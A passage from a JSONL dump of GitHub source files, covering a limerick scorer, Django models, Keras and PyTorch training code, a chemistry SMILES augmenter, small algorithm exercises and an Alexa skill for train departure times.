[verse.get_rhyme_score() for verse in self.verses]\n score = sum(scores) / len(scores)\n else:\n score = None\n return score\n\n def __repr__(self):\n return repr(self.verses)\n\n\ndef read_poems(file_path: Path, blacklist):\n \"\"\"reads a file containing poems and returns a list of limerick samples found in the file\n \"\"\"\n with open(file_path) as file:\n text = file.read()\n poem_samples = text.split(\"<|endoftext|>\")\n poems = [clean(sample, blacklist) for sample in poem_samples if len(sample) > 0]\n return [poem for poem in poems if len(poem) > 0]\n\n\ndef score_poems(file_path: Path, last_word_pattern: str, blacklist: List):\n \"\"\"Reads limericks in generated samples and scores them between 0 and 1\n \"\"\"\n poems = [\n SamplePoem(text=poem_sample, rhyme_patterns=LIMERICK_PATTERN, verse_length=5)\n for poem_sample in read_poems(file_path, blacklist=blacklist)\n if len(poem_sample) > 0\n ]\n poems = [poem for poem in poems if poem.lines]\n poem_scores = [poem.get_rhyme_score() for poem in poems]\n return poem_scores\n\n\ndef test_scoring_limerick(sample_rhyme: Path, limerick_pattern: List):\n \"\"\"Sanity check to test scoring of a single limerick\n \"\"\"\n with open(sample_rhyme) as rhyme_sample:\n sample_corpus = rhyme_sample.read()\n limerick_lines = [line for line in sample_corpus.splitlines() if line]\n limerick = Limerick(\n lines=limerick_lines, rhyme_patterns=limerick_pattern, max_length=5\n )\n print(\"Scoring limerick...\")\n score = limerick.get_rhyme_score()\n print(f\"Rhyme score is {score}\")\n assert type(score) == float\n","repo_name":"mfogelson/11-785_project","sub_path":"youshen/poem.py","file_name":"poem.py","file_ext":"py","file_size_in_byte":6697,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"29643456166","text":"from django.db import models\n\nfrom scribe_store import RowStatus\n\nclass Question(models.Model):\n question_text = models.CharField(max_length=200)\n pub_date = models.DateTimeField(\"date published\")\n\n def __str__(self) -> str:\n return \"Question: %s\" % self.question_text\n\n\nclass News(models.Model):\n slug = models.SlugField(unique=True)\n news_text = models.CharField(max_length=200)\n pub_date = models.DateTimeField(\"date published\")\n\n\nclass NewsBManager(models.Manager):\n def scribe_dict(self, data):\n if self.filter(slug=data[\"slug\"]).exists():\n return\n return self.create(**data)\n\n\nclass NewsB(models.Model):\n slug = models.SlugField(unique=True)\n news_text = models.CharField(max_length=200)\n pub_date = models.DateTimeField(\"date published\")\n\n objects = NewsBManager()\n\n\nclass NewsCManager(models.Manager):\n def scribe_dict(self, data):\n if self.filter(slug=data[\"slug\"]).exists():\n news = self.get(slug=data[\"slug\"])\n news.news_text = data[\"news_text\"]\n news.save()\n return news, RowStatus.UPDATED\n return self.create(**data)\n\n\nclass NewsC(models.Model):\n slug = models.SlugField(unique=True)\n news_text = models.CharField(max_length=200)\n pub_date = models.DateTimeField(\"date published\")\n\n objects = NewsCManager()\n\n\nclass ChoiceManager(models.Manager):\n def scribe_dict(self, data):\n print(data)\n\n\nclass Choice(models.Model):\n question = models.ForeignKey(Question, on_delete=models.CASCADE)\n choice_text = models.CharField(max_length=200)\n votes = models.IntegerField(default=0)\n\n objects = ChoiceManager()\n","repo_name":"worgue/django-scribe-store","sub_path":"tests/sample/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31633986133","text":"from __future__ import print_function\n\nimport os\n\nimport numpy as np\nimport time\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.utils.np_utils import to_categorical\nfrom sklearn.model_selection import StratifiedKFold\n\nfrom model.model import model_selector\nfrom model.model_2channel import model_selector2\nfrom model.model_3channel import model_selector3\nfrom reader.filereader_ori import read_glove_vectors, read_input_data\nfrom utils import argumentparser\nfrom sklearn import metrics\n\n#np.random.seed(42)\nseed=42\n\ndef main():\n args = argumentparser.ArgumentParser()\n train(args)\n\n\ndef train(args):\n print('Reading word vectors.')\n #embeddings_index = read_glove_vectors(args.embedding_file_path)\n\n embeddings_index = read_glove_vectors(\"/home/duong/Desktop/CNN-Sentence-Classifier/app/ORIcrisis_embeddings.txt\")\n #embeddings_index2 = read_glove_vectors(\"/home/duong/Desktop/CNN-Sentence-Classifier/app/glove2.txt\")\n print('Found {} word vectors in emdedding1.'.format(len(embeddings_index)))\n #print('Found {} word vectors in embedding2.'.format(len(embeddings_index2)))\n\n print('Processing input data')\n\n input_name = [\"input_CR_prccd.txt\", \"input_Sub_prccd.txt\", \"input_MPQA_prccd.txt\", \"inputPCQM_prccd.txt\",\n \"input_flood_phi_prccd.txt\", \"input_flood_colorado_prccd.txt\", \"input_flood_qeen_prccd.txt\",\n \"input_flood_manila_prccd.txt\", \"input_fire_australia_prccd.txt\", \"input_earthquake_chile_prccd.txt\"]\n label_name = [\"label_CR.txt\", \"label_input_Sub.txt\", \"label_MPQA.txt\", \"labelPCQM.txt\", \"label_flood_phi.txt\",\n \"label_flood_colorado.txt\", \"label_flood_qeen.txt\", \"label_flood_manila.txt\",\n \"label_fire_australia.txt\", \"label_earthquake_chile.txt\"]\n\n with open(\"11Janlan01_crosstrainBest_CV50_CrisEmb_cnn1xStatic.txt\", 'wb') as result_CV:\n for list in range(0, 10):\n texts, labels_index, labels = read_input_data(args.data_dir, input_name[list],label_name[list])\n # texts - list of text samples\n # labels_index - dictionary mapping label name to numeric id\n # labels - list of label ids\n print('Found {} texts.'.format(len(texts)))\n\n # Vectorize the text sample into 2D integer tensor\n tokenizer = Tokenizer(num_words=args.nb_words)\n tokenizer.fit_on_texts(texts)\n sequences = tokenizer.texts_to_sequences(texts)\n word_index = tokenizer.word_index\n print('Found {} unique tokens.'.format(len(word_index)))\n\n data = pad_sequences(sequences, maxlen=args.max_sequence_len)\n\n # Transform labels to be categorical variables\n labels = to_categorical(np.asarray(labels))\n print('Shape of data tensor:', data.shape)\n print('Shape of label tensor:', labels.shape)\n\n # split the input data into training set and validation set\n indices = np.arange(data.shape[0])\n np.random.shuffle(indices)\n data = data[indices]\n labels = labels[indices]\n\n print('Preparing embedding matrix.')\n\n # initiate embedding matrix with zero vectors for embedding1.\n nb_words = min(args.nb_words, len(word_index))\n embedding_matrix = np.zeros((nb_words + 1, args.embedding_dim))\n for word, i in word_index.items():\n if i > nb_words:\n continue\n embedding_vector = embeddings_index.get(word)\n if embedding_vector is not None:\n embedding_matrix[i] = embedding_vector\n args.nb_words = nb_words\n args.len_labels_index = len(labels_index)\n\n\n # return architecture of model\n model = model_selector(args, embedding_matrix)\n\n # Loop through the indices the split () method return\n\n cv_scores = []\n ROC_scores = []\n fold=10\n\n for i in range(0,fold):\n print(\"\\n\")\n print(\"\\n\")\n print(\"\\n\")\n print(\"-------------FOLD :\",(i+1))\n window_data=data.shape[0]/fold\n # Generate batches from indices\n x_train1 = data[:i*window_data]\n x_train2 = data[(i+1)*window_data:]\n\n y_train1 = labels[:i * window_data]\n y_train2 = labels[(i + 1) * window_data:]\n\n if i==0:\n x_trainAll = x_train2\n y_trainAll = y_train2\n else:\n x_trainAll = np.concatenate((x_train1,x_train2),axis=0)\n y_trainAll = np.concatenate((y_train1,y_train2), axis=0)\n\n\n\n x_val = data[i*window_data:(i+1)*window_data]\n y_val = labels[i*window_data:(i+1)*window_data]\n\n indices_ = np.arange(x_trainAll.shape[0])\n np.random.shuffle(indices_)\n x_train= x_trainAll[indices_]\n y_train = y_trainAll[indices_]\n nb_validation_samples = int(args.validation_split * x_train.shape[0])\n\n x_train = x_train[:-nb_validation_samples]\n y_train = y_train[:-nb_validation_samples]\n x_dev = x_train[-nb_validation_samples:]\n y_dev = y_train[-nb_validation_samples:]\n\n\n\n # Clear model and create\n model=None\n model = model_selector(args, embedding_matrix)\n\n checkpoint_filepath = os.path.join(args.model_dir, \"weights.best.hdf5\")\n earlystopper = EarlyStopping(monitor='val_acc', patience=3, verbose=0)\n checkpointer = ModelCheckpoint(checkpoint_filepath, monitor='val_acc', verbose=0, save_best_only=True)\n callbacks_list = [earlystopper, checkpointer]\n model_json = model.to_json()\n with open(os.path.join(args.model_dir, \"model.json\"), \"w\") as json_file:\n json_file.write(model_json)\n\n #model.fit(x_train, y_train, epochs=30, batch_size=32, verbose=0)\n model.fit(x_train, y_train, validation_data=(x_dev, y_dev), epochs=args.num_epochs,\n batch_size=args.batch_size, callbacks=callbacks_list)\n y_prob = model.predict(x_val)\n\n\n\n roc = metrics.roc_auc_score(y_val, y_prob)\n print(\"ROC Prediction (binary classification):\", roc)\n scores = model.evaluate(x_val, y_val, verbose=0)\n print(\"%s: %.2f%%\" % (model.metrics_names[1], scores[1] * 100))\n cv_scores.append(scores[1] * 100)\n ROC_scores.append(roc * 100)\n\n print(input_name[list])\n print(\"ACC: %.2f%% (+/- %.2f%%)\" % (np.mean(cv_scores), np.std(cv_scores)))\n print(\"ROC: %.2f%% (+/- %.2f%%)\" % (np.mean(ROC_scores), np.std(ROC_scores)))\n result_CV.write(input_name[list] + \" ACC: %.2f%% (+/- %.2f%%)\" % (np.mean(cv_scores), np.std(cv_scores)) + \" ROC: %.2f%% (+/- %.2f%%)\" % (np.mean(ROC_scores), np.std(ROC_scores)) + '\\n')\n result_CV.write(time.asctime(time.localtime(time.time())) + '\\n')\n\nif __name__ == '__main__':\n main()\n","repo_name":"quanap5/Multi-word-embedding-CNN","sub_path":"app/cross_train_ori.py","file_name":"cross_train_ori.py","file_ext":"py","file_size_in_byte":7385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8624264130","text":"import nosh_mish_mosh_1\nimport numpy as np \n\nall_visitors = nosh_mish_mosh_1.customer_visits\npaying_visitors = nosh_mish_mosh_1.purchasing_customers\n\ntotal_visitor_count = len(all_visitors)\npaying_visitor_count = len(paying_visitors)\nbaseline_percent = 100.0 * paying_visitor_count / total_visitor_count\npayment_history = nosh_mish_mosh_1.money_spent\naverage_payment = np.mean(payment_history)\nnew_customers_needed = np.ceil(1240 / average_payment)\npercentage_point_increase = 100.0 * new_customers_needed / total_visitor_count\nminimum_detectable_effect = 100.0 * percentage_point_increase / baseline_percent\n\nprint (baseline_percent)\nprint (minimum_detectable_effect)\n\nab_sample_size = 290","repo_name":"whatupdc/python_4","sub_path":"nosh_mish_mosh.py","file_name":"nosh_mish_mosh.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26952232120","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nfrom .box_utils import match \n\n\ndef log_sum_exp(x):\n \"\"\"Utility function for computing log_sum_exp while determining\n This will be used to determine unaveraged confidence loss across\n all examples in a batch.\n Args:\n x (Variable(tensor)): conf_preds from conf layers\n \"\"\"\n x_max = x.data.max()\n return torch.log( torch.sum( torch.exp(x - x_max), 1, keepdim = True)) + x_max\n\n\nclass MultiBoxLoss(nn.Module):\n \"\"\"SSD Weighted Loss Function\n Compute Targets:\n 1) Produce Confidence Target Indices by matching ground truth boxes\n with (default) 'priorboxes' that have jaccard index > threshold parameter\n (default threshold: 0.5).\n 2) Produce localization target by 'encoding' variance into offsets of ground\n truth boxes and their matched 'priorboxes'.\n 3) Hard negative mining to filter the excessive number of negative examples\n that comes with using a large number of default bounding boxes.\n (default negative:positive ratio 3:1)\n Objective Loss:\n L(x,c,l,g) = (Lconf(x, c) + αLloc(x,l,g)) / N\n Where, Lconf is the CrossEntropy Loss and Lloc is the SmoothL1 Loss\n weighted by α which is set to 1 by cross val.\n Args:\n c: class confidences,\n l: predicted boxes,\n g: ground truth boxes\n N: number of matched default boxes\n See: https://arxiv.org/pdf/1512.02325.pdf for more details.\n \"\"\"\n def __init__(self,\n n_classes,\n overlap_thresh = 0.5,\n prior_for_matching = True,\n bkg_label = 0,\n neg_mining = True,\n neg_pos = 3,\n neg_overlap = 0.5,\n encode_target = False):\n super(MultiBoxLoss, self).__init__()\n self.n_classes = n_classes\n self.threshold = overlap_thresh\n self.background_label = bkg_label\n self.encode_target = encode_target\n self.use_prior_for_matching = prior_for_matching\n self.do_neg_mining = neg_mining\n self.negpos_ratio = neg_pos\n self.neg_overlap = neg_overlap\n self.variance = [0.1, 0.2]\n \n def forward(self, predictions, priors, targets):\n \"\"\"Multibox Loss\n Args:\n predictions (tuple): A tuple containing loc preds, conf preds,\n and prior boxes from SSD net. (loc, conf)\n \n conf (tensor): with shape (batch_size, num_priors, n_classes)\n loc (tensor): with shape (batch_size, num_priors, 4)\n priors (tensor): with shape (num_priors, 4)\n targets (tensor): Ground truth boxes and labels, with shape \n (batch_size, num_objects, 5), last index store\n [xmin, ymin, xmax, ymax, label]\n \"\"\"\n\n loc_data, conf_data = predictions\n priors = priors\n num_batch = loc_data.size(0)\n num_priors = (priors.size(0))\n n_classes = self.n_classes\n\n # match priors (default boxes) and ground truth boxes\n loc_t = torch.Tensor(num_batch, num_priors, 4)\n conf_t = torch.LongTensor(num_batch, num_priors)\n for idx in range(num_batch):\n groundtrue_boxes = targets[idx][:, :-1].data\n labels = targets[idx][:, -1].data\n defaults = priors.data\n match(self.threshold,\n groundtrue_boxes,\n defaults,\n self.variance,\n labels,\n loc_t,\n conf_t,\n idx)\n\n if torch.cuda.is_available():\n torch.set_default_tensor_type('torch.cuda.FloatTensor')\n loc_t = loc_t.cuda()\n conf_t = conf_t.cuda()\n # wrap targets\n loc_t = Variable(loc_t, requires_grad = False)\n conf_t = Variable(conf_t, requires_grad = False)\n\n pos = conf_t > 0\n\n # Localization Loss (Smooth L1)\n # Shape: [batch,num_priors,4]\n pos_idx = pos.unsqueeze(pos.dim()).expand_as(loc_data)\n loc_p = loc_data[pos_idx].view(-1, 4)\n loc_t = loc_t[pos_idx].view(-1, 4)\n loss_l = F.smooth_l1_loss(loc_p, loc_t, reduction = \"sum\")\n\n # Compute max conf across batch for hard negative mining\n batch_conf = conf_data.view(-1, self.n_classes)\n loss_c = log_sum_exp(batch_conf) - batch_conf.gather(1, conf_t.view(-1, 1))\n\n # conf_tt = conf_t.view(-1, 1)\n # conf_tt_index = (conf_tt != 0).nonzero()\n # # conf_tt[conf_tt_index] = 1\n # loss_c = log_sum_exp(batch_conf) - batch_conf.gather(1, conf_tt)\n\n # Hard Negative Mining\n loss_c = loss_c.view( pos.size()[0], pos.size()[1])\n loss_c[pos] = 0 # filter out pos boxes for now\n loss_c = loss_c.view(num_batch, -1)\n _, loss_idx = loss_c.sort(1, descending = True)\n _, idx_rank = loss_idx.sort(1)\n num_pos = pos.long().sum(1, keepdim = True)\n num_neg = torch.clamp( self.negpos_ratio * num_pos, max = pos.size(1) - 1)\n neg = idx_rank < num_neg.expand_as(idx_rank)\n\n # Confidence Loss Including Positive and Negative Examples\n pos_idx = pos.unsqueeze(2).expand_as(conf_data)\n neg_idx = neg.unsqueeze(2).expand_as(conf_data)\n conf_p = conf_data[(pos_idx + neg_idx).gt(0)].view(-1, self.n_classes)\n targets_weighted = conf_t[(pos + neg).gt(0)]\n loss_c = F.cross_entropy(conf_p, targets_weighted, reduction = \"sum\")\n\n # Sum of losses: L(x,c,l,g) = (Lconf(x, c) + αLloc(x,l,g)) / N\n\n N = num_pos.data.sum().float()\n loss_l /= N\n loss_c /= N\n return loss_l, loss_c\n \n","repo_name":"baaj2109/pytorch_object_detection","sub_path":"loss/multiboxloss.py","file_name":"multiboxloss.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"33763255721","text":"import logging\nimport random\nfrom typing import Callable, List\n\nfrom .miscellaneous import apply_to_any_smiles, apply_to_smiles_groups\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\nclass SmilesAugmenter:\n \"\"\"\n Class to augment any kind of SMILES string with the help of randomization\n and shuffling.\n \"\"\"\n\n def __init__(\n self,\n augmentation_fn: Callable[[str], str],\n augmentation_probability: float = 1.0,\n shuffle: bool = True,\n ignore_exceptions: bool = True,\n ):\n \"\"\"\n Args:\n augmentation_fn: Function for augmenting the individual SMILES strings,\n such as the functions provided in smiles_randomization.py.\n augmentation_probability: Probability with which to augment individual\n SMILES strings.\n shuffle: Whether to shuffle the order of the compounds.\n ignore_exceptions: Whether to ignore the error (and return the\n original string) when an augmentation fails. If False, exceptions\n will be propagated.\n \"\"\"\n self.augmentation_fn = augmentation_fn\n self.augmentation_probability = augmentation_probability\n self.shuffle = shuffle\n self.ignore_exceptions = ignore_exceptions\n\n def augment(self, smiles: str, number_augmentations: int) -> List[str]:\n \"\"\"\n Augment one SMILES string (of any kind).\n\n Args:\n smiles: SMILES string to augment.\n number_augmentations: how many times to do the augmentation.\n \"\"\"\n\n # augmentation of the individual compound SMILES\n augmented = [\n apply_to_any_smiles(\n smiles, self._augment_with_probability, force_multicomponent=True\n )\n for _ in range(number_augmentations)\n ]\n\n # shuffle the order of the compounds\n if self.shuffle:\n augmented = [\n apply_to_smiles_groups(s, SmilesAugmenter._shuffle) for s in augmented\n ]\n\n return augmented\n\n def _augment_with_probability(self, smiles: str) -> str:\n \"\"\"Augmentat a SMILES, with the probability given by the member variable.\"\"\"\n\n # Note: no need to call random.uniform if the augmentation probability is 1.0.\n if (\n self.augmentation_probability == 1.0\n or random.uniform(0, 1) <= self.augmentation_probability\n ):\n try:\n return self.augmentation_fn(smiles)\n except Exception as e:\n if self.ignore_exceptions:\n logger.warning(f\"Augmentation failed for {smiles}: {e}\")\n return smiles\n else:\n raise\n\n # no augmentation\n return smiles\n\n @staticmethod\n def _shuffle(smiles_list: List[str]) -> List[str]:\n smiles_list = smiles_list.copy()\n random.shuffle(smiles_list)\n return smiles_list\n","repo_name":"rxn4chemistry/rxn-chemutils","sub_path":"src/rxn/chemutils/smiles_augmenter.py","file_name":"smiles_augmenter.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"24060665040","text":"# -----------------------------------------\n# My Solution: Two Pointers\n#\n# Time Complexity: O(m + n)\n# Space Complexity: O(1)\n# -----------------------------------------\n# m := len(s), n := len(t)\nclass Solution:\n def backspaceCompare(self, s: str, t: str) -> bool:\n def find_non_empty_char_index(string, start_index):\n char_index = start_index\n\n # e.g. string == \"bxo#j##tw\"\n backspace_count = 0\n while char_index >= 0 and (string[char_index] == \"#\" or backspace_count > 0):\n backspace_count += 1 if string[char_index] == \"#\" else -1\n char_index -= 1\n return char_index\n\n s_pointer, t_pointer = len(s) - 1, len(t) - 1\n while s_pointer >= 0 or t_pointer >= 0:\n s_pointer = find_non_empty_char_index(s, s_pointer)\n t_pointer = find_non_empty_char_index(t, t_pointer)\n\n s_char = s[s_pointer] if s_pointer >= 0 else \"\"\n t_char = t[t_pointer] if t_pointer >= 0 else \"\"\n if s_char != t_char:\n return False\n s_pointer -= 1\n t_pointer -= 1\n\n return True\n","repo_name":"DaMinaup6/algorithm-exercises","sub_path":"leetcode/easy/844_backspace_string_compare.py","file_name":"844_backspace_string_compare.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15317621578","text":"\nclass Pila:\n def __init__(self):\n self.items = []\n\n def esta_vacia(self):\n return len(self.items) == 0\n\n def apilar(self, elemento):\n self.items.append(elemento)\n\n def desapilar(self):\n if not self.esta_vacia():\n return self.items.pop()\n\n def ver_tope(self):\n if not self.esta_vacia():\n return self.items[-1]\n\n\nclass Cola:\n def __init__(self):\n self.items = []\n\n def esta_vacia(self):\n return len(self.items) == 0\n\n def encolar(self, elemento):\n self.items.append(elemento)\n\n def desencolar(self):\n if not self.esta_vacia():\n return self.items.pop(0)\n\n\n# Función para la operación matemática\ndef evaluar_operacion(operacion):\n # Eliminar espacios en blanco\n operacion = operacion.replace(\" \", \"\")\n\n\n pila_operadores = Pila()\n cola_operandos = Cola()\n\n # Diccionario de prioridades de operadores\n prioridad = {'+': 1, '-': 1, '*': 2, '/': 2}\n\n # Función para realizar una operación y actualizar la cola de operandos\n def realizar_operacion():\n operador = pila_operadores.desapilar()\n operand2 = cola_operandos.desencolar()\n operand1 = cola_operandos.desencolar()\n\n if operador == '+':\n resultado = operand1 + operand2\n elif operador == '-':\n resultado = operand1 - operand2\n elif operador == '*':\n resultado = operand1 * operand2\n elif operador == '/':\n resultado = operand1 / operand2\n\n cola_operandos.encolar(resultado)\n\n # Recorrer la operación\n i = 0\n while i < len(operacion):\n token = operacion[i]\n\n if token.isdigit():\n # Leer el número completo\n numero = token\n while i + 1 < len(operacion) and operacion[i + 1].isdigit():\n i += 1\n numero += operacion[i]\n cola_operandos.encolar(int(numero))\n elif token == '(':\n pila_operadores.apilar(token)\n elif token == ')':\n while not pila_operadores.esta_vacia() and pila_operadores.ver_tope() != '(':\n realizar_operacion()\n pila_operadores.desapilar() \n else: \n while not pila_operadores.esta_vacia() and pila_operadores.ver_tope() != '(' and prioridad[token] <= prioridad.get(pila_operadores.ver_tope(), 0):\n realizar_operacion()\n pila_operadores.apilar(token)\n\n i += 1\n\n \n while not pila_operadores.esta_vacia():\n realizar_operacion()\n\n \n return cola_operandos.desencolar()\n\n\n\noperacion = input(\"Ingrese la operación matemática: \")\nresultado = evaluar_operacion(operacion)\nprint(\"El resultado es:\", resultado)\n","repo_name":"Halex07/IPC2_V1S12023_ProyectoF1_201407049","sub_path":"parcial1.py","file_name":"parcial1.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28079468466","text":"import random\nimport numpy as np\n\ndef pairs(l):\n \"\"\"\n Returns the input list split into pairs of sequential\n elements, along with a list of the remaining element if\n len(l) % 2 == 1.\n\n :example pairs([1,2,3]) -> ([(1,2)], [3])\n pairs([1,2,3,4]) -> ([(1,2),(3,4)], [])\n \"\"\"\n resulting = []\n current = None\n\n for elem in l:\n if not (current is None):\n resulting.append((current, elem))\n current = None\n else:\n current = elem\n\n return (resulting, [] if current is None else [current])\n\ndef halves(l):\n \"\"\"\n Returns the input list split into two halves, with the\n invariant that if f, l = halves(i) then len(f) <= len(l)\n \"\"\"\n splitPoint = len(l) / 2\n return (l[:splitPoint], l[splitPoint:])\n\ndef choose(data, size):\n \"\"\"\n Returns a random (with repetition) selection of elements\n of length min(size, len(data))\n \"\"\"\n return [ data[np.random.randint(0, len(data))] for _ in xrange(0, size) ]\n","repo_name":"kjgorman/cream","sub_path":"partitions.py","file_name":"partitions.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5196983468","text":"# encoding: utf-8\n\"\"\"\n@author: liaoxingyu\n@contact: liaoxingyu2@jd.com\n\"\"\"\n\nimport glob\nimport os.path as osp\nimport re\nimport numpy as np\n\nfrom .bases import ImageDataset\nfrom ..datasets import DATASET_REGISTRY\n\n\n@DATASET_REGISTRY.register()\nclass DukeMTMC(ImageDataset):\n\n dataset_dir = 'dukemtmc'\n dataset_url = 'http://vision.cs.duke.edu/DukeMTMC/data/misc/DukeMTMC-reID.zip'\n dataset_name = \"dukemtmc\"\n\n def __init__(self, root='datasets', **kwargs):\n self.root = root\n self.dataset_dir = osp.join(self.root, self.dataset_dir)\n self.train_dir = osp.join(self.dataset_dir, 'duke_sct')\n self.query_dir = osp.join(self.dataset_dir, 'query')\n self.gallery_dir = osp.join(self.dataset_dir, 'bounding_box_test')\n\n required_files = [\n self.dataset_dir,\n self.train_dir,\n self.query_dir,\n self.gallery_dir,\n ]\n self.check_before_run(required_files)\n\n train = self.process_dir(self.train_dir)\n query = self.process_dir(self.query_dir, is_train=False)\n gallery = self.process_dir(self.gallery_dir, is_train=False)\n\n super(DukeMTMC, self).__init__(train, query, gallery, **kwargs)\n\n def process_dir(self, dir_path, is_train=True):\n img_paths = glob.glob(osp.join(dir_path, '*.jpg'))\n pattern = re.compile(r'([-\\d]+)_c(\\d)')\n\n data = []\n for img_path in img_paths:\n pid, camid = map(int, pattern.search(img_path).groups())\n assert 1 <= camid <= 8\n camid -= 1 # index starts from 0\n if is_train:\n pid = self.dataset_name + \"_\" + str(pid)\n camid = self.dataset_name + \"_\" + str(camid)\n\n data.append((img_path, pid, camid ))\n\n return data\n","repo_name":"g3956/CCFP","sub_path":"fastreid/data/datasets/dukemtmcreid.py","file_name":"dukemtmcreid.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"2712545288","text":"def digit(n):\n return len(str(n))\n\ndef basedigit(a,b):\n return (digit(a)-1)*b+1\n\ndef compare(a,b):\n bd = [basedigit(a[0],a[1]),basedigit(b[0],b[1])]\n if bd[0]>bd[1]:\n return 0\n elif bd[0] bool\n return is_request_type(\"LaunchRequest\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In LaunchRequestHandler\")\n speech = commands.WELCOME\n handler_input.response_builder.speak(speech)\n handler_input.response_builder.ask((\n commands.GENERIC_REPROMPT))\n return handler_input.response_builder.response\n\n\nclass NextTrainIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for times intent.\"\"\"\n\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n return is_intent_name(\"TimesIntent\")(handler_input)\n\n @staticmethod\n def get_address(handler_input):\n req_envelope = handler_input.request_envelope\n response_builder = handler_input.response_builder\n service_client_fact = handler_input.service_client_factory\n\n if not (req_envelope.context.system.user.permissions and\n req_envelope.context.system.user.permissions.consent_token):\n response_builder.speak(commands.NOTIFY_MISSING_PERMISSIONS)\n response_builder.set_card(\n AskForPermissionsConsentCard(permissions=REQUIRED_PERMISSIONS))\n return response_builder.response\n\n try:\n device_id = req_envelope.context.system.device.device_id\n device_addr_client = service_client_fact.get_device_address_service()\n addr = device_addr_client.get_full_address(device_id)\n\n if addr.address_line1 is None and addr.state_or_region is None:\n response_builder.speak(commands.NO_ADDRESS)\n else:\n return addr.address_line1 + ' ' + addr.state_or_region + ' ' +addr.postal_code\n except ServiceException:\n response_builder.speak(commands.ERROR)\n return response_builder.response\n except Exception as e:\n raise e\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n logger.info(\"In NextTrainIntentHandler\")\n\n attribute_manager = handler_input.attributes_manager\n session_attr = attribute_manager.session_attributes\n address_response = self.get_address(handler_input)\n if type(address_response) != str:\n return address_response\n\n try:\n dep_station = handler_input.request_envelope.request.intent.slots['dep_station']\n status = dep_station.resolutions.resolutions_per_authority[0].status.code\n id_key = 'CRE'\n if status == StatusCode.ER_SUCCESS_MATCH:\n id_key = dep_station.resolutions.resolutions_per_authority[0].values[0].value.id\n departing_station = commands.METRO_STATIONS[id_key]\n except Exception as e:\n logger.debug(str(e))\n departing_station = 'Crestview Station'\n\n try:\n arr_station = handler_input.request_envelope.request.intent.slots['arr_station']\n status_arr = arr_station.resolutions.resolutions_per_authority[0].status.code\n id_key_arr = 'DWT'\n if status_arr == StatusCode.ER_SUCCESS_MATCH:\n id_key_arr = arr_station.resolutions.resolutions_per_authority[0].values[0].value.id\n arrival_station = commands.METRO_STATIONS[id_key_arr]\n except Exception as e:\n logger.debug(str(e))\n arrival_station = 'Austin Convention Center'\n\n logger.info('Address {}'.format(address_response))\n response, second_train, tz_dict = get_train(home_address=address_response, departing_station=departing_station,\n location=arrival_station)\n check = all(response[value] is None for value in response if value in ['arrival_time_epoch',\n 'departure_time_epoch',\n 'arrival_time_local',\n 'departure_time_local',\n 'day_indicator'])\n set_reminder = True\n if not check:\n speech = (\"The next {line} coming to {departing_station} will leave at \"\n \"{departure_time_local} {day_indicator} and arrive at the {arrival_station}\"\n \" at {arrival_time_local}.\").format(**response)\n\n time_to_get_there = ' You should leave your apartment by ' + tz_dict['relative'] + \\\n ' to make it to the train.'\n speech = speech + time_to_get_there\n else:\n speech = 'Could not find times for that station.'\n set_reminder = False\n\n check_2 = True\n logger.info(second_train)\n if second_train:\n check_2 = all(response[value] is None for value in second_train if value in\n ['arrival_time_epoch', 'departure_time_epoch', 'arrival_time_local',\n 'departure_time_local', 'day_indicator'])\n if not check_2:\n second_train_speech = ' After this the next {line} will leave at {departure_time_local}'.format(\n **second_train)\n else:\n second_train_speech = ''\n speech = speech + second_train_speech\n speech = speech + '. Do you want to set a reminder?' if set_reminder else speech\n logger.info(speech)\n ask_question = 'Do you want to set a reminder?' if set_reminder else 'Anything else I can do?'\n session_attr['station'] = response['line']\n session_attr['walking_time'] = tz_dict['epoch']\n handler_input.response_builder.speak(speech).ask(ask_question)\n return handler_input.response_builder.response\n\n\nclass YesMoreInfoIntentHandler(AbstractRequestHandler):\n \"\"\"Handler for yes to get more info intent.\"\"\"\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n session_attr = handler_input.attributes_manager.session_attributes\n return (is_intent_name(\"AMAZON.YesIntent\")(handler_input) and\n \"station\" in session_attr)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n rb = handler_input.response_builder\n request_envelope = handler_input.request_envelope\n permissions = request_envelope.context.system.user.permissions\n reminder_service = handler_input.service_client_factory.get_reminder_management_service()\n\n if not (permissions and permissions.consent_token):\n logging.info(\"user hasn't granted reminder permissions\")\n return rb.speak(\"Please give permissions to set reminders using the alexa app.\") \\\n .set_card(AskForPermissionsConsentCard(permissions=REQUIRED_PERMISSIONS)) \\\n .response\n\n attribute_manager = handler_input.attributes_manager\n session_attr = attribute_manager.session_attributes\n\n tz = 